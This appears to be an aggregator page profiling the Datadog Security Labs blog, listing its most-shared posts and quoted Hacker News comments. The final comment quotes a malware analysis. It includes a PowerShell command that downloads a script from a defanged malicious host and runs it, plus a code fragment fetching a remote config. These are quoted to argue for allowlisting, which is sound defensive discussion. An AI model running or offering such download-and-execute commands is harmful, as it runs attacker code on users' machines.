Datadog Security Labs
securitylabs.datadoghq.com · Company blog · on HN since 2022
Security research arm of Datadog, publishing vulnerability analyses and malware findings on cloud services, PyPI packages, and containers.
What HN saysHN links it for original findings, such as the MUT-1244 campaign and GuardDog. One commenter, a post author, rejects the charge of content marketing.
29HN people shared it
9linked it in comments
29stories submitted
214story points
3 months agolast shared
2022people per year2026
Most-shared posts
- 1Investigating a backdoored PyPI package targeting FastAPI applications2 people · 150 points · first shared 2022 · 32 comments on HN
- 2A Confused Deputy Vulnerability in AWS AppSync2 people · 7 points · first shared 2022 · discussion on HN
- 3Demystifying the OpenSSL punycode vulnerability and exploitation walk-through2 people · 3 points · first shared 2022 · discussion on HN
- 4Finding malicious PyPI packages through static code analysis: Meet GuardDog2 people · 3 points · first shared 2022 · discussion on HN
- 5AWS CloudTrail vulnerability: Undocumented API allows CloudTrail bypass2 people · 3 points · first shared 2023 · discussion on HN
- 6I Spy: Escalating to Entra ID's Global Admin with a First-Party App2 people · 2 points · first shared 2025 · discussion on HN
- 7Escaping containers using the Dirty Pipe vulnerability2 people · 1 points · first shared 2023 · discussion on HN
- 8Git vulnerable to arbitrary file write on non-Windows systems1 people · 6 points · first shared 2025 · discussion on HN
- 9Supply-Chain Firewall: Protecting Developers from Malicious Open Source Packages1 people · 5 points · first shared 2024 · discussion on HN
- 10React2Shell (CVE-2025-55182): A Log4Shell Moment for the Front End Ecosystem1 people · 4 points · first shared 2025 · 1 comments on HN
- 11The Shai-Hulud 2.0 npm worm: analysis, and what you need to know1 people · 4 points · first shared 2025 · 2 comments on HN
- 12GuardDog (Datadog open source Supply chain security) 1.0 with NPM support1 people · 3 points · first shared 2023 · discussion on HN
- 13IDE-SHEPHERD: Your shield against threat actors lurking in your IDE1 people · 3 points · first shared 2026 · 1 comments on HN
- 14RedisRaider: Weaponizing misconfigured Redis to mine cryptocurrency at scale1 people · 3 points · first shared 2025 · discussion on HN
- 15Cloud Breaches of 20221 people · 2 points · first shared 2023 · discussion on HN
What HN people wrote when they linked it
christophetd · 2022-10-13
Author here - sorry you feel like this is content marketing. I identify myself as a cloud security engineer, so that's a clear antigoal. The intent is to show what's the systematic adoption of cloud security controls _that matter_, based on real-world data breaches. We also published a follow-up post[1] with actionable advice for practitioners on how to turn on some of these mechanisms (such as S3 Public Access Block).
Would love to hear your thoughts on how we can make it "deeper" and "more accurate" in the future!
[1]: https://securitylabs.datadoghq.com/articles/state-of-aws-cloud-securit…
VoidWhisperer · 2025-09-18
I feel like I remember a similar attack related to Entra ID from a while ago, although I can't remember exactly what it was (maybe [0] or [1]?).. I understand that this is a complex system, but I would be concerned with the number of relatively high severity vulnerabilities being found in it.
[0]: https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-… [1]: https://www.semperis.com/blog/unoauthorized-privilege-elevation-throug…
owebmaster · 2025-04-02
And they didn't even mention the last CVE¹, the most compelling reason to move off.
1. https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-byp…
gnabgib · 2024-12-15
Original discovery by datadog: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials https://securitylabs.datadoghq.com/articles/mut-1244-targeting-offensi…
fragmede · 2024-01-05
PyPi, but yes. https://securitylabs.datadoghq.com/articles/guarddog-identify-maliciou… The link also mentions that PHP has been attacked in this way.
As has rust. https://blog.rust-lang.org/2022/05/10/malicious-crate-rustdecimal.html
Nextgrid · 2023-01-18
seedless-sensat · 2022-11-01
I liked this write up: https://securitylabs.datadoghq.com/articles/openssl-november-1-vulnera…
throw0101c · 2023-05-26
Multiple CVEs for escaping? E.g.:
* https://blog.aquasec.com/cve-2022-0185-linux-kernel-container-escape-i…
* https://securitylabs.datadoghq.com/articles/dirty-pipe-container-escap…
* https://snyk.io/learn/docker-security/top-5-vulnerabilities/
* https://www.container-security.site/attackers/container_breakout_vulne…
The only escaping of jails that I've heard of in the last ~20 years is one not in the jails code, but tunnelling out through devfs:
* https://www.freebsd.org/security/advisories/FreeBSD-SA-14:07.devfs.asc
gus_ · 2026-05-21
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidit…
Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:
https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware
so maybe it's not bulletproof, but it helps to mitigate these threats.